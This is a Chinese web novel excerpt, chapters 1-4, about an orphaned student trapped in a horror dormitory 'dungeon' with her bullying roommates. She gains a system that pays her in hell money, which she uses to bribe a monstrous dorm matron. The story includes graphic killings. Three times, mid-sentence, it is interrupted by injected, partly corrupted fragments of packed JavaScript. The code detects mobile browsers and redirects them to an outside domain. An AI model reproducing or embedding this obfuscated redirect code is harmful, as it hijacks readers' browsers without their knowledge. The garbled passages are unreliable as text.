《她在诡异世界当神豪》 1. 第 1 章 啪叽。 从高处坠落的男人摔在地面，脑浆崩裂好几米远。 晏无波随意瞄了眼鞋子，匆匆从尸体边路过。 她着急去找兼职。 但是往前走了几步，晏无波又折返回来，从包里掏出一张刚打印的简历，覆在男人摔得看不出形状的脑袋上。 没白布，白纸就凑合用吧。 做完这一切，她又匆匆走开。 像这种跳楼的，晏无波一周就能碰见俩，再往前一个是她的前同事。所以对这种场面，晏无波早就脱敏了。比起别人的死活，她更在意下个月生活费从哪拿。 三个多月前，诡异世界突然降临。“副本”收割了无数条生命，各个国家遭受了剧烈的冲击，国家储备的各项资源为了应对诡异几近透支。经济下行，物价飞涨，社会秩序混乱，恶性事件频发。 学校下了通知，这学期取消奖学金，助学贷款也要停发。像晏无波这种没有父母提供生活费的孤儿，只能去打工。 然而她打工的超市在昨晚沦为副本，虽然她因为轮休躲过一劫，却也失去了仅剩的经济来源。 清明细雨，整座城市浸泡在灰蒙蒙的湿气里。街道的大屏、手机、广播等任何人类能接收到信息的渠道里，一遍遍重复着最新的“污染区域”，提醒市民注意甄别并远离。 晏无波东奔西跑了一整天，额前的碎发被湿气糊成一缕一缕的，但努力的结果不尽如人意。 没诡异的时候找工作都难，现在更难。 比工作时间，晏无波还要上学。比业务水平，多的是工作场地被吞而向下兼容的大佬。 找了一天也找不到新工作，晏无波只能拖着疲惫的身体回学校。 “波波~”大四学姐沈炙也刚从外面回来，她拎着俩大馒头，站在宿舍楼门口招呼道：“晚上吃饭没？来一个？” 物价上涨后，馒头渐渐成为普通学生的主要能量来源，只有家境较好的人才能顿顿吃两荤一素的快餐。 晏无波走了一天，很饿，但没好意思要她馒头。 “不用，我不饿。” 她快走几步跑过去，和沈炙一起进楼。 晏无波什么条件，沈炙太了解了。她拿出个馒头强塞过去，问道：“我看到超市被污染的消息了，你找到新工作没？” 馒头都塞手里了，晏无波只能暗自感激。 “还没，太卷了，有些人包饭就肯干。” “死工贼，他们这么卷以后大家都别活了……” 沈炙面临毕业实习，对降工资这种事深恶痛绝。 宿舍楼老旧没电梯，两个人由步梯上到四楼。分别前，沈炙忽然说道：“你以后要不来我宿舍睡？我现在一个人住着，还怪害怕的。” 沈炙原来有三个室友，两个在寒假的时候被副本吞了，还有一个被各种新闻吓破了胆，开学了也窝在家里不敢上学。 不过晏无波没看出沈炙害怕，她这么说，大约是怕自己回去面对那三个怨种室友…… “行。”晏无波没拒绝。 之前学校床位紧张，她不方便调寝，这学期倒是有条件了。 沈炙挥了挥手继续上5楼，晏无波则回404。 推开404的门，昂贵香水混杂着零食的气味扑面而来。三个室友正围坐在一起，兴高采烈地讨论着什么。 “薇薇，你听说了吗？隔壁金融系的系草，误入副本成功活下来了，还得到了一个厉害的天赋，据说被官方的人接走了！”张和月一脸羡慕。 “那算什么，”林薇不屑地撇撇嘴，晃了晃手腕上银色手链，“我表哥说，像他那种刚刚得到天赋的菜鸟纯粹是炮灰，真正厉害的是那些高等级的玩家，那些人都能独立下本了。” “原来是这样，你表哥知道的真多，他很厉害吧？”王艺静立刻奉承道。 林薇享受着众人的吹捧，脸上露出矜持的微笑，“一般般吧，他们的等级体系我也不太明白，但我表哥已经能单独下副本了。” “哇！！！” “那很厉害了！” 她们的谈话，在晏无波进门的那一刻戛然而止。 三道目光齐刷刷地投过来，混杂着毫不掩饰的鄙夷和一丝幸灾乐祸，显然她们也知道晏无波工作的超市没了。 晏无波平时都不乐意搭理他们，失业了更是看一眼都烦。她三两口把馒头塞进嘴里，走到自己的床铺前开始收拾东西。 “哟，这不是我们勤劳肯干的晏大学霸吗？”林薇阴阳怪气的声音传来，“听说你打工的那个破超市没了？找到新工作了吗？现在这世道，工作可不好找，你这种穷鬼，可别哪天饿死在街上，被诡异拖走了都没人知道。” “哎？穷鬼不会变异成诡异吗？好怕怕哦~” “哈哈哈哈，张和月你可别逗我笑了。” 还是熟悉的刻薄味儿，若是平时晏无波就直接不管了。她天天忙得要命，没时间、也没精力跟这些傻子浪费口舌。 但今天她工作都没了，下一顿饭在哪吃都两说，忍不了一点。 晏无波转身，冷冷地吐出两个字：“贱人。” 宿舍里的空气瞬间安静下来。 林薇的脸色涨得通红，她和晏无波做了这么长时间室友，晏无波从没用这种脏词骂过她。 “你什么态度！”张和月立刻跳出来帮腔，“有没有良心啊？薇薇关心你，不领情就算了，还骂人！” “就是，自己没本事，还把气撒在别人身上。”王艺静也附和道。 林薇看着晏无波的脸，气得眼睛通红。 她不是一开始就讨厌晏无波，至少见到晏无波的第一眼，她对她很有好感。 晏无波四肢修长，身高足有178cm。骨相优越、嘴唇微薄，狭长的丹凤眼很有水墨韵味。她的体型并不纤细，而是覆着一层薄肌。 这层薄肌不是摆设，班级或学校有些需要体力的活动她会主动去帮忙。刚入学时还帮了不少同学搬行李，林薇她们三个人的行李就是晏无波帮忙抬的。 这样的好样貌和好性格，让晏无波男女追求者无数，入学头几个月在校内的热度居高不下。只是她无心恋爱，把所有人拒之门外。而且平时她不是学习就是在打工，不常跟其他人社交，渐渐的，这点热度散了。 林薇作为晏无波的室友，最初去哪都喜欢挽着晏无波，高中同学聚会也带着她。看着别人眼中的羡慕，林薇很是得意。 只是后来晏无波忙着学习挣奖学金，也忙着到处打工攒钱，和她相处的时间越来越少。林薇实在受不了跟晏无波抱怨，反被晏无波疏远。 从那次之后，林薇就看晏无波不顺眼。 死穷鬼，买个电脑都分期，在她面前摆什么谱！ 这种不顺眼日渐扭曲，林薇开始用钱笼络室友，让她们和她一起孤立晏无波，并时常在细节上霸凌她。比如在她值日的时候把用完的姨妈巾甩的到处都是、三人时常聚在一起对她指指点点、会在她打工回来后故意锁门不让进…… 林薇不是第一次做这种事，她等着晏无波来求她。然而这一等，就从大一等到大三。 晏无波很忙，与其说是她们三个人孤立晏无波，不如说是晏无波反过来孤立她们三个。而且她人缘非常好，每当林薇想要做些更过分的事，大把大把的人找她算账。 比如她把晏无波锁在门外那次，不管是同级生还是学妹学姐，全围在她们寝室门口骂，把她们三个骂得不敢吭声，宿管来了才把她们赶走。 宿管也没向着她们，回去就跟导员打她们仨的小报告。如果不是学校实在腾不出床铺，晏无波也不想让别人替她住在这个寝室挨排挤，她早就换寝了。 两年半下来，晏无波毫发无伤，林薇气出乳腺结节。 晏无波把行李箱掏出来，开始往里面装衣服，对另外两个人的狗叫充耳不闻。 “你干什么？”林薇看到她收拾物品的动作，上前一把夺下她的衣服，质问道：“你想换寝？” 晏无波个儿高手长，一把将衣服薅回来，不客气道：“关你屁事！” 又挨了一句骂后，林薇的脾气失控了。她端起桌上刚喝了一口的冰可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407681|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐，快步走到晏无波床前，手腕一扬——深褐色的黏腻液体尽数泼在晏无波的床铺上。 可乐迅速渗透床单褥子，在上面晕开一大片。 晏无波身累，心也累。她没有任何愤怒的表情，也没有一句歇斯底里地质问。平日那双因为劳累而总是半睁的丹凤眼，静静地注视着林薇。 林薇鸡皮疙瘩直竖，她下意识地后退了一步，叫道：“你……你想干什么？想打人啊！” “洗干净，想办法给我晾干。”晏无波开口了，声音不高，却清晰地传到每个人的耳朵里，“要是我今晚睡不好，你们谁都别想睡。” 这近乎威胁的话听得林薇炸毛，蹦着高的骂：“你算个什么东西！还让我给你洗被子？一床破被子而已，我赔你就是了！一百够不够？瞧你那没见过钱的穷酸样！” 她从钱包里抽出一张钞票，轻蔑地扔在自己的脚下，“来捡啊。” 晏无波看都没看地上的钱，大跨步走到林薇身前，一把攥住她的手腕。 常年打工的双手像铁钳一样，掐得林薇痛呼出声：“放开我！你是不是疯了！” “疯了？”晏无波的嘴角勾起，轻轻地笑：“如果我真疯了，第一个就弄死你。” 双方力量悬殊，林薇无论如何挣扎都无济于事。她这次是真的怕了，色厉内荏道：“你动我下试试！我表哥不会放过你的！” 王艺静和张和月冲上来，一左一右地抓住晏无波的胳膊，试图把她拉开。 “晏无波你快放手！你想被学校开除吗！” “你再这样我可就报警了！” 晏无波纹丝不动，这三个常年不运动的亚健康大学生，比小猫崽子还没战斗力。 就在这时，窗外淅淅沥沥的雨声消失了，万物寂静。 洁白的墙皮像被炙烤过一样慢慢卷曲、剥落，露出底下血管一样缓缓搏动的纹路。铁锈混合着腐肉的腥臭味在空气中弥漫开来，呛得人喘不过气来。 四人全部愣怔在原地。 一道刺耳的尖叫声打破寂静：“啊啊啊啊啊！！！！” 张和月抱紧了自己的脑袋，尖叫鸡一样扯着嗓子喊。 林薇吓得面无人色，忘记了挣扎，瞪大眼睛看周围的变化。 晏无波惊愕了一瞬，很快调整好情绪。 像她们这种没进入过副本的普通人，无法知晓副本内部的详细信息的。官方无数次尝试向普通人传达他们已通关的副本规则，但能接收到消息的，只有进入过副本的玩家。 普通人只能知道副本位置、名称，以及一些不涉及副本的内部的最基础的东西。 比如……不小心进入副本时，一定要冷静。 一道嘶哑幽暗、非男非女的声音在四个人的脑海中同时响起： 【已进入E级诡异副本：怨念宿舍。】 暗红色的“血管”开始蠕动，墙上粘贴的挂钩噼里啪啦掉落。贴在门上的值日表，原本字迹则被替换成几行歪歪扭扭的血字。 1、宿管是你们最好的朋友，请听从她的安排。 2、宿舍楼内禁止大声喧哗。 3、23点为休息时间，学生必须上床。 4、保持卫生，垃圾要扔进红色垃圾桶。 5、明日早晨7点方可离开宿舍。 最激动的张和月已经彻底失去了思考能力，恐惧像冰冷的海水，将她的理智完全淹没。 “放我出去！放我出去！”她崩溃地尖叫，双手疯狂地拍打着纹丝不动的宿舍门，发出“砰砰”的巨响。 副本还在生成，规则暂时还没作用到她身上。 王艺静瘫软在地，双目失神，人像是走了好一会儿。 林薇有个高级玩家的表哥，在这三个人里还算镇定，一个劲儿摸自己的银色手链。 晏无波注意到值日表的变化，但她还没上前查看，一个与周遭恐怖氛围格格不入的欢脱电子音，突兀地在她脑海中响起。 【滴！定位到宿主位置，符合激活条件……】 【神豪系统正在绑定……绑定成功！】 2. 第 2 章 充满暴发户气息的虚拟面板，在晏无波的视网膜前展开。 面板底色为黑，边框为金，图案华丽繁复。正中央的巨大的元宝泛着金光，几乎要闪瞎她的眼。 贱兮兮的、仿佛打了鸡血的电子音开口了：“哟！胆小鬼，你可算进副本了！99天！本系统等了你99天！” 晏无波朝另外三人看去，从表情看，她们不像和她有同样的遭遇。 她被刺激太过产生的幻觉？还是副本搞的鬼？ 电子音像个闹腾的小孩子一样喋喋不休：“没关系，从今天起，我会带你发家致富，走上人生巅峰！庆祝首次激活，为亲爱的宿主发放新手技能！” 中央的金元宝蹦到边框上边，光幕自动打开了技能栏。打头的灰色的技能图标被点亮，和刚才的金元宝一样绽放出刺目的光。 晏无波顶着光眯眼查看说明。 【豪横无需多言（Lv1）：每日零点刷新，可随机获得100~100万冥币，未使用次数可累计。备注：神豪也要看欧非。】 冥币？晏无波眼皮跳了跳。 “啊，不然呢？我落在这里，只能生成冥币啊。”系统振振有词，把锅扣在晏无波头上，“你要是早点进副本来接我，我就不会转换成这个样子了，想我最开始，底色是可爱的粉色呢！” 现实世界最大面值的货币就是粉色的。 系统若是根据所处世界转换，那冥币……能在诡异世界流通？ 想太多也没用，先使用个技能看看。 【“豪横无需多言”使用成功，恭喜宿主获得冥币：1000。】 面板的背包格子里，凭空出现了一小沓泛着幽光的黑色纸币，格子右下角数字余额清晰地显示着：1000。 晏无波把手伸进裤兜里，默想提取一百块钱冥币。 紧接着，什么东西突兀地塞进她的手心，冰冰凉，略微有些粗糙。 她低头去看，裤兜露出来的一小角印着“壹佰”的纸币。 没有什么奇怪的特效，但黑底白字的纸币看起来不是很吉利。 总之，不是幻觉。 系统对这个结果十分不满意，长长地叹了一口气：“唉~你运气怎么这么差啊！以后别指望抽奖，多做任务吧。” 说着，一张任务卷轴在面板上展开。 【新手任务：初来乍到。】 【任务描述：在E级副本“怨念宿舍”中消耗1000冥币。】 【任务奖励：黄金道具宝箱*1】 【失败惩罚：你嘎巴死，我咔嚓格式化，咱俩双双完犊子。】 “什么叫消耗？”晏无波确实是“初来乍到”，她对冥币没什么概念、不知道它购买力是多少，也不知道它能不能在副本花出去。“送人或者撕毁算吗？” 系统面板上出现个大大的“X”，“购买、捐赠等行为可以，撕毁不行。另外，如果对方不接受你的捐赠，拿到手后扔了你的钱，或者你捐赠后又反悔收回，都不能算。” 晏无波轻轻叹了口气。 也就是说，她把冥币直接给林薇三人也能完成任务……呵，算了吧，不如给诡。 系统絮絮叨叨的，不停diss晏无波的手气，比她本人还要失望。 看在系统白给冥币的份上，晏无波过滤掉它的毒舌，温声哄道：“可能遇见你，便用尽我一生的运气了吧。冥币多不多不重要，重要的是你在我身边，你才是我最大的幸运。” 边框上边的金元宝“啵”地一下爆出桃粉色光晕，细声细气道：“别白费力气，你讨好我也没用哒！” 晏无波打量着其他三人，趁她们没注意到她这里，抬手摸了摸金元宝，“没讨好，我说的是实话。” 黑金色的光幕抖了几下，伴随着神豪系统哼哼唧唧的声音，滋滋啦啦的消失。 宿舍的变化渐渐停止，墙上的血管不再剧烈蠕动，而是像心脏蹦跳一样有规律的抖动。她们这个四人间是上床下桌，但此刻，床铺下方的椅子、桌面上杂七杂八的小零碎全部被血管吞没，门口存放行李箱的铁皮柜也消失不见，只剩床上的被褥和头顶的电灯。 诡异世界嘶哑的通知声再次出现。 【检测到玩家首次进入诡异副本，正在接入……天赋觉醒中……】 【恭喜玩家获得初始天赋：冷静】 另一张光幕展现在晏无波眼前，同样以黑为底色，但它的边框是血肉残渣，隐隐有污血流淌其中。上面有一半以上位置处于锁定状态。 还没等晏无波发表感想，神豪系统不乐意了，“什么档次！还跟我用一个底色，恶心死了！” 晏无波勉为其难地点头附和。 不过这俩在用户体验上面，半斤八两。神豪系统的字亮得闪瞎人眼，诡异系统的字暗得几乎让人看不清。 宿舍里另外三人的神情发生变化。 林薇面色欣喜，苍白的面容有了一丝血色。 张和月身体微微颤抖，一个劲儿啃噬自己的指甲。 而一直瘫软在地的王艺静，则连滚带爬地挪到林薇身边，低声跟她说着什么。 “你们都拿到初始天赋了。”神豪系统进行着实时解说。受功能限制，它无法探查这三人得到了什么天赋，只是习惯性的毒舌道：“一看都是猪队友，天赋肯定一个比一个废物，你就靠自己吧。” 晏无波本来也不打算靠这三个人，她们不坑她就算有人性了。 她打开诡异系统的技能栏查看技能说明。 【初始天赋：冷静】 【品质：E】 【描述：能抵御部分轻度精神污染。】 最低等级的天赋……但有总比没有强。 晏无波打开诡异系统的个人列表查看等级和数值。 【姓名：晏无波】 【等级：1】 【生命值：100/100】 【精神值：110/110（受天赋“冷静”加成）】 【力量：8】 【敏捷：7】 【体力：8】 【智力：6】 【魅力：9】 初始数值封顶为10，别的选项晏无波都不意外，只是智力这一项……好吧，她确实不是聪明人，学习好只是肯努力。 关掉光幕，晏无波走向值日表，目光锁定在血字上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407682|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 规则不难理解，也没有冲突的地方，比较清晰明了：不能吵，23点上床，保持卫生，垃圾扔红色垃圾桶，明早7点出宿舍。 只是第一条“宿管是你们最好的朋友”有些含糊…… 是友方吗？ 正思考着，晏无波的身体突然遭到冲撞。 林薇三人也到了值日表前，挤挤挨挨地把她推到后面，颇有不让她继续看规则的意味。 晏无波的眼神冷了冷，平常小打小闹就算了，这种时候还搞这种小动作，与让她去死没区别。 门外，沉重而富有节奏的闷响由远及近传来。 这声音不像脚步声，像什么重物一点点往地上砸。 张和月又想尖叫，但她还记着规则，死死捂住嘴，惊恐地看着门。 宿舍的门不知道什么时候变了，门上半边出现了一扇观察窗。观察窗不算小，以正常人的体型来算，能露出一个人的上半身。 声音停在了晏无波宿舍的门口，观察窗缓缓打开，窗外出现一张不似活人的脸。 宿管的嘴角缓缓开裂，露出黄绿的牙齿。她先是用空洞无物的眼睛扫视着晏无波四人，而后开口：“同学们，卫生检查，有要扔的垃圾快点扔。” 单看五官，这只是一名普通的中年妇女。但她的皮肤太白了，白到像纸一样，颧骨处还有两坨劣质且显眼的腮红。老旧的蓝色宿管员制服空荡荡地套在她身上，身后跟她一样高的红色塑料方筒都比她的身体饱满。 张和月胆子最小，吓得不住地打嗝。 但她越害怕，阿姨越看她。 “孩子，身体不舒服吗？”说话间，宿管阿姨的舌头伸了出来，缓缓往宿舍里面的张和月面前伸去。 张和月眼眶含泪，一个劲儿地往后面躲。她的后背抵在宿舍墙上，墙上的血管像有意识一样分出几条裹住了她的脖子。 “啊啊啊啊啊！！！”张和月再也控制不住自己，双手疯狂撕扯着脖子上的血管。 那几条血管一扯就破，崩出的血浆撒了张和月满身。 宿管阿姨脸上那诡异的笑容瞬间消失，语气阴森，“宿舍楼内，禁止大声喧哗。” 话音刚落，她伸出去的舌头快速划了一下，一道深可见骨的血口出现在张和月手臂上。 皮开肉绽的剧痛让张和月发出更加凄厉的惨叫。 舌头再次划动，又一道深可见骨的血痕印在张和月的脸上。 张和月还想再叫，被林薇一把捂住嘴。王艺静如梦初醒，也赶紧上前帮忙。 两个人用的力气很大，张和月翻了个白眼，窒息到昏厥，慢慢倒在地上。不过她总算停止了尖叫，身上再没出现其他血痕。 宿管盯着她们，没开口制止，舌头也没继续动作。 晏无波旁观着这一切，心中猜测：宿管确实是友方。张和月连续两次违反规则大声尖叫，都没被宿管处死，对于诡异来说算很宽容了。 林薇也是这样想的，于是她鼓起勇气，走到观察窗前问道：“什么样的才算垃圾？” 宿管把舌头收了回来，眼睛转而盯向林薇，“垃圾都不知道还上什么大学，废物！退学算了！” 3. 第 3 章 林薇面色一白，连忙握紧手腕的手链，一连退了好几步。 但什么都没发生。 张和月幽幽转醒，脸上和手臂上的口子痛得她想打滚。不过她也意识到自己的尖叫会引来大麻烦，咬着王艺静袖子硬挺。 因为靠近张和月，王艺静身上也沾了很多血渍。她不敢睁眼，鹌鹑一样跪坐在张和月身边。 晏无波看了看自己脏污的被褥，微微皱眉。 念头转换间，又是几张冥币落在兜里。 希望诡异世界没有通货膨胀。 她整理了一下自己微乱的衣角，抬手将散落的碎发拢到耳后。然后挂上对外常用友好微笑，靠近观察窗客气地说道：“阿姨，您好。” 宿管阿姨那僵硬的脖子“咔吧咔吧”地转向晏无波，但转到一半，她眼前一黑——五张“壹佰”面值的冥币怼在她眼前。 “阿姨，您辛苦了。”晏无波微笑不变，手依旧在宿舍内，只把冥币伸出去一半。“一点小心意，不成敬意。” 规则说明天7点才能出宿舍，谁知道这个宿舍是广义的宿舍楼还是狭义的宿舍。在此之前，她连头发丝都不会伸出去1厘米。 “咔——！！！”宿管的脖子发出了巨大的响声。 她的脖子往前伸了一大截，像折了一样抻成别扭的弧度，脖子上的脑袋直往冥币上贴。两只空洞的眼珠子整个掉了出来，只剩一条青白的筋膜连接着眼眶。 神豪系统紧张的道：“是不是不够啊？你allin吧，成年人就要allin！” “我也想多给点，但我总共就1000。要是对方是个贪心的，跟我讨价还价多要怎么办，你能给我刷新技能CD吗？” 系统歇菜，“不能……还是听你的吧。你一定要珍惜生命啊，要珍惜我的生命。” 晏无波：“……” 行吧，机械生命也是生命。 宿管双手捏着自己掉出来的眼珠子往冥币上按，圆圆的眼珠子都被她自己捏扁了些。 感受到冥币独有的阴凉，她的嘴角霎时间裂得更开，从脸颊直接蔓延到后脑勺，几乎要把脑袋一分为二。 “嘎嘎嘎嘎嘎！”宿管笑得脑壳一颠一颠的。 她一把抓住冥币，想把它们塞进兜里。但俩眼珠子还没收回去，手定位不准位置，只是一个劲儿在身上摸索。 宿管一边摸索一边慈祥地说道：“孩子，吃啥喝啥你吱声，阿姨给你抢……不是，给你拿。” 忽略掉她乱甩的眼珠和一分为二的脑袋，她特别像个喜爱小辈的妇人。 晏无波松了口气，虽然还不知道冥币在诡异世界的购买力，但看宿管的态度，不会太低。 “谢谢阿姨，我不饿不渴。”她指着自己那床被褥说道：“我想把这床被褥丢掉。” “我看看。”宿管把眼珠子重新按回眼眶，看了一眼被褥道：“脏成这样是要丟，阿姨帮你！” 话音刚落，她的舌头弹射出去，像绳子一样卷起晏无波的被褥。被褥从观察窗塞出门外，宿管踮脚打开垃圾桶盖子，一件件将它们扔入其中。 扔完这些，舌头继续伸进宿舍内。 晏无波感觉自己的脚被轻轻划了几下。她低头，白天跳楼那人溅到她鞋上一滴血点。当时她匆忙看了一眼没发现，现在宿管的舌头正在擦拭。 啊这…… 晏无波一边后怕自己没注意到细节，一边羞耻得脚趾抠地。 林薇不可置信地看向晏无波，眼珠子瞪得不比刚才的宿管小。 凭什么啊？她问个问题就被骂，晏无波垃圾都不用自己动手扔，还给她舔鞋！ 晏无波到底给了什么？！ 林薇又气又妒，不过有晏无波示范，她明白该怎么做了。刚刚张和月发疯，她去捂嘴的时候身上也沾了血迹。 她脱掉外套，也想从观察窗塞出去。 可外套落在观察窗边沿好久，宿管也没动作。 “阿姨，你不要吗？”林薇薇小心翼翼的问。 宿管站在门外，一副吃人的表情，“什么？你当我是捡破烂的还是你家保姆！书读狗肚子里了，活着有什么用，趁早死了算了！” 林薇气得想骂诡…… 只是想想，她还是惜命的。 她扭头看自己的两个狗腿子，指挥完好无损的王艺静道：“你出去扔！” 王艺静指着自己，结结巴巴道：“我？我不行的……我刚才告诉你了啊，我的天赋是增益，完全没战斗力。” “让你去扔垃圾，又不是让你去跟它打架！”林薇瞪着王艺静，“平日里薇薇长、薇薇短，现在让你做这点事都不肯，那出去以后你别花我的钱！” 张和月也帮腔，“都是朋友，你不能见死不救啊。” 因为刚才撕扯血管，她外面的衣服几乎没有干净的地方，只能将裤子和外套全部脱下。 张和月用力将它们扔到王艺静怀里，“王艺静，求求你了，就当帮帮我！我太痛了，再受伤我会死的！” 王艺静是个懦弱的性子，被张和月劈头盖脸糊了一身血衣也没骂她，默默将衣服扯到地上。 她还在犹豫，张和月那边压力不大，大不了再扔回去，只是林薇提到了钱…… 以现在这个物价，她爸妈供她上学已经感到困难了。要不是林薇偶尔从手头漏点给她，她就得像晏无波一样四处打工，不可能安逸地窝在寝室。 但让她直面诡异，她又不敢。 王艺静调转方向，用求救的眼神看晏无波，可怜兮兮道：“晏无波，你帮我们丢好不好？你和……关系那么好，这点事算不上什么吧？” 晏无波冷笑一声，“滚。” “真是不听话的学生，你们真是我带我的最差的一届。”宿管像在附和晏无波，在门外恶声恶气。 紧接着，她又把脑袋对准晏无波，柔声道：“你除外，你是阿姨见过最乖巧的孩子。” 晏无波：^-^ 王艺静连声哀求，但晏无波不为所动。眼见躲不过去，她两腿打颤，哆嗦着拉开宿舍门。 宿管不躲不避，站在红色垃圾桶前方，直勾勾地看着王艺静。 王艺静不敢探出身子，站在门内，将几人的衣服一件件团成球，投篮一样投掷在垃圾桶内。好在垃圾桶盖子还没合上，敞口够大，距离也不远，像她这样吓得快没有力气的人也能投中。 等她扔完，宿管手搭在垃圾桶盖子上，“没了吧？阿姨要去检查下一间了。” 除了晏无波跟宿管道别，其余三个人皆默不作声。 宿管慢慢吞吞地合上观察窗，像是真的要走。 王艺静长长舒了口气，脸上满是劫后余生的喜悦。 然而就在观察窗只剩一丝缝隙时，宿管阿姨连窗带门一起甩开，朝宿舍内迈了一步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407683|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她抬手，关节如干硬的木枝一样咯咯作响，指着王艺静的耳垂说道：“这是什么？” 王艺静下意识的摸向耳朵，而后脸部“唰”的失去所有血色——她忘记了，耳垂上还有用来堵耳洞的耳堵！ 它也沾到血了吗？ 王艺静扑通一声跪在地上，哭着把耳堵取下。 “我、我现在扔！” 宿管拖拽着超大垃圾桶挤进宿舍，半生气半兴奋道：“现在扔？晚了！像你这种不爱干净的孩子，没有资格住在这里！” 说着，她一把抓住王艺静的头发，像刚才王艺静团衣服一样，将她的四肢团起来。 王艺静的四肢随着宿管的动作接连断裂，森森白骨戳出血肉。 “薇薇救我！！！”王艺静凄厉地哭喊着，“快用你的技能救我啊！！！” 林薇扭开头，当没听见王艺静的求救。 她的天赋是很少见的A级治愈，可以快速治愈伤势，但24小时只能使用一次。 如果现在给王艺静用了，之后她遇到危险怎么办？ 王艺静不断发出惨叫，几十秒后，她的声音弱了下去，头颅被自己身体的碎肉裹住。 人类肉球发出一声闷闷的尖叫，随即所有声音消失。 林薇和张和月深深将头埋在怀里，不敢直视这一幕。 晏无波指尖刺进掌心，强迫自己盯着看。 踏入副本的人再不可能过上正常生活，每个月必须进入副本一次。只要她不死，以后就会面对无数次这种场景。 她必须适应。 宿管将团好的肉球扔进垃圾桶，撸起袖子看了看表，又看了晏无波一眼，沉默地走出房间。 红色的垃圾桶像是活物般一下一下地跳起，走廊里再次出现沉重的砸地声。 紧张过后，晏无波的脑子一时缓不过神来，她狠掐了自己一把，才让脑筋重新活跃起来。 这个副本的规则相对来说比较宽松，对卫生的要求不高。不然像张和月这种满身血的，也能纳入到“不卫生”的标准里。 调节好情绪之后，她的脑子里又反复回想起宿管看她的那一眼。 为什么看她？她触犯规则了？还是看她害不害怕？ 看她之前，宿管还看了表…… 晏无波掏出手机看时间：21:54。 距离上床时间还有一小时零六分钟。 尽管时间充裕，她仍觉得怪异，于是提前上床坐着。 上床的时候，晏无波不禁看向王艺静的床铺。 都说死者为大，她算是体会到了。这人生前没对晏无波做过什么好事，但真等她凄惨的死了，晏无波心里竟然没升起什么“解气”之类的情绪。 林薇和张和月两个人还沉浸在巨大的冲击中回不过神来，张和月更是连睁眼都不敢，伏在地上像个死人。 走廊外的声音彻底消失，林薇也调整好心情，走到张和月身前叫她起来。 两个人走到宿舍一角窃窃私语，林薇的眼睛时不时扫向床上的晏无波，眼里的贪婪毫不掩饰。 “宿主，她们在当你的面密谋哎。”系统欢脱道：“给她们也没关系，你还能顺便完成任务。而且零点快到了，一个小时后你又能再抽一次了。” 一个小时？ 晏无波皱眉，再过一个小时是11点，但“豪横无须多言”的刷新时间，是零点。 4. 第 4 章 晏无波打开神豪系统面板，技能说明确实写的是“每日零点刷新”。按照手机上的时间，还有两个小时刷新才对。 她问道：“系统，现在几点？” “22点55分哦~不对，接入了下诡异世界的时间，是21点55分……唉？不对，通过旧数据比对，我怎么觉得是22点呢？不对不对……对接的是21点……” 系统懵了，“QAQ宿主，我好像坏掉噜……” 晏无波哑然失笑，同时她也明白了：时间，才是宿管想提醒她的。 “放心，你没坏。”她提醒系统道：“别用接入的时间，以你自己运算为准，这个副本的时间和真正的时间不一致。” 另一边，张和月细声细气，声音带着恐慌：“薇薇，我们……我们真的要这么做吗？” 她害怕诡异，也害怕“犯罪”。 “怕什么！你刚才也看到了，晏无波给了宿管什么，宿管态度才那么好。”林薇咬牙切齿，“又不是让你杀人，拿了东西我们就能活下去了，有什么比你的生存更重要的？” 张和月态度松动。 想想也是，都快活不起了，哪有那么多道德可讲，生存就是道德！ “我们是自救，就算警察来了也有道理。” “你没看宿管收了东西之后是什么态度吗？” “就算这次用不着了，你敢保证以后也用不着吗？” 被林薇左一句右一句地劝，张和月终于下定决心：“那我们要怎么做？光凭咱们两个，可打不过晏无波。我的天赋是恐惧传递，能让她害怕，但没什么战斗力。” “没事。”林薇看向她的伤口，“她要不肯给，你就把你的血撒到她身上！” 张和月张了张嘴，想问这样晏无波会不会死，但是她又把问题咽了回去。 别人死不死的……她不死就行！ 林薇也没忘那条“晚11点上床的规定”，她看了眼手机，催道：“还有一个小时，我们得抓紧把东西拿到手。我这边恐吓，你那边用技能吓她。” “好！” 手机时间21:58分，林薇、张和月准备行动。 她们注意力集中在那个躺在床上，似乎闭眼睡着了的身影上。 “晏无波。” 林薇的声音压得很低，却充满了恶意，“别装睡了。” 晏无波缓缓睁开眼睛，心中一片冰冷。 她翻身坐起，居高临下地看着她们因为贪婪和嫉妒而扭曲的脸，“有事？” 林薇踢了下床脚，“装什么傻，把你刚才给宿管的东西拿出来！” 晏无波看了眼手机：21:59分。 “如果我不给，你们两个要如何？让我死？” 张和月恶狠狠道：“我们也不想的，谁叫你那么冷血，王艺静都不救，我们这是自保！” 一股莫名的恐惧涌上晏无波心头，王艺静临死前的景象似乎又在她眼前重现。 